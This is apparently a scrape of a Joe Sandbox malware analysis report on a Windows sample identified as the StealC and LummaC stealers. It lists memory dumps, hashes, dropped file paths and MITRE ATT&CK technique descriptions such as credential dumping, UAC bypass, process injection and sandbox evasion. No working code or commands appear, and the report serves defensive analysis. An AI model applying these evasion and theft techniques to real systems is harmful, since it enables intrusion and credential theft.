Associated: 00000003.00000002.1829668208.00000000002D1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829690883.00000000002D3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829717979.00000000002F2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829753148.00000000002F3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829789756.0000000000324000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829817401.0000000000325000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829853857.0000000000326000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829875776.0000000000327000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829899798.0000000000331000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829899798.000000000033A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829945788.0000000000348000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829969503.000000000034A000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_90000_HIX4V53EFUK0JCGHMC1S24CIQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de70c4fb456702e6a195c0bdf0bcaa391e675afc251e37ea7e8c821b56abedc5
Instruction ID: 1aa16f2cc64ffba779a060f319c862a0afc2f49261396374d4fb045a4f800c38
Opcode Fuzzy Hash: de70c4fb456702e6a195c0bdf0bcaa391e675afc251e37ea7e8c821b56abedc5
Instruction Fuzzy Hash: 853186F391C210AFE705AE18D9416BAB7E5EF95760F12883EE9C5C3600D6754894CBA3

Function 0023425C Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1829110680.0000000000226000.00000040.00000001.01000000.00000006.sdmp, Offset: 00090000, based on PE: true

Associated: 00000003.00000002.1828756157.0000000000090000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1828784279.0000000000092000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1828809303.0000000000096000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1828832949.000000000009A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1828857077.00000000000A4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1828879563.00000000000A5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1828902268.00000000000A6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829009846.0000000000200000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829034723.0000000000202000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829063340.000000000021B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829085557.000000000021C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829110680.000000000021F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829163515.000000000023C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829187432.000000000023D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829210161.000000000023E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829232697.0000000000242000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829257475.0000000000257000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829277976.0000000000258000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829300708.000000000025F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829324207.0000000000269000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829348863.0000000000278000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829370591.000000000027B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829391810.000000000027C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829412691.000000000027D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829436629.0000000000289000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829460386.000000000028D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829480791.000000000028E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829503197.0000000000296000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829523712.0000000000297000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829544857.000000000029E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829571919.00000000002A6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829595534.00000000002A7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829621508.00000000002BE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829643644.00000000002C8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829668208.00000000002D1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829690883.00000000002D3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829717979.00000000002F2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829753148.00000000002F3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829789756.0000000000324000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829817401.0000000000325000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829853857.0000000000326000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829875776.0000000000327000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829899798.0000000000331000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829899798.000000000033A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829945788.0000000000348000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829969503.000000000034A000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_90000_HIX4V53EFUK0JCGHMC1S24CIQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bec5a7dc111117f9e93db37e1c292de0360e00543522db48dc232e937dec8d55
Instruction ID: aeb7b0c37ec42856fb0cc9fea780436e4e432daa6243b81a474464c60651b0d4
Opcode Fuzzy Hash: bec5a7dc111117f9e93db37e1c292de0360e00543522db48dc232e937dec8d55
Instruction Fuzzy Hash: 7CE04F761141059ED7009F54C84599FFBF5FF19311F218885E884CB622C2764C51C729

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report ABnDy7rLFS.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\HIX4V53EFUK0JCGHMC1S24CIQ.exe.log

C:\Users\user\AppData\Local\Temp\A97774QJFYJNGVVMCXLHU5PMQ02KM.exe

C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Windows Analysis Report
ABnDy7rLFS.exe

Function 04EA15D0 Relevance: 1.8, APIs: 1, Instructions: 299
COMMON

Function 0022B0AC Relevance: 4.6, APIs: 3, Instructions: 88
registryCOMMON

Function 04EA15C4 Relevance: 1.8, APIs: 1, Instructions: 305
COMMON

Function 0021DF99 Relevance: 1.6, APIs: 1, Instructions: 102
libraryCOMMON

Function 0021DE68 Relevance: 1.6, APIs: 1, Instructions: 95
libraryCOMMON

Function 04EA0D41 Relevance: 1.6, APIs: 1, Instructions: 63
COMMON

Function 04EA0D48 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Function 04EA1509 Relevance: 1.6, APIs: 1, Instructions: 56
serviceCOMMON

Function 04EA1510 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Function 04EA1301 Relevance: 1.6, APIs: 1, Instructions: 50
COMMON

Function 04EA1308 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Function 0022BFE6 Relevance: 1.5, APIs: 1, Instructions: 36
libraryCOMMON

Function 0009E6F5 Relevance: 1.3, APIs: 1, Instructions: 50
memoryCOMMON

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre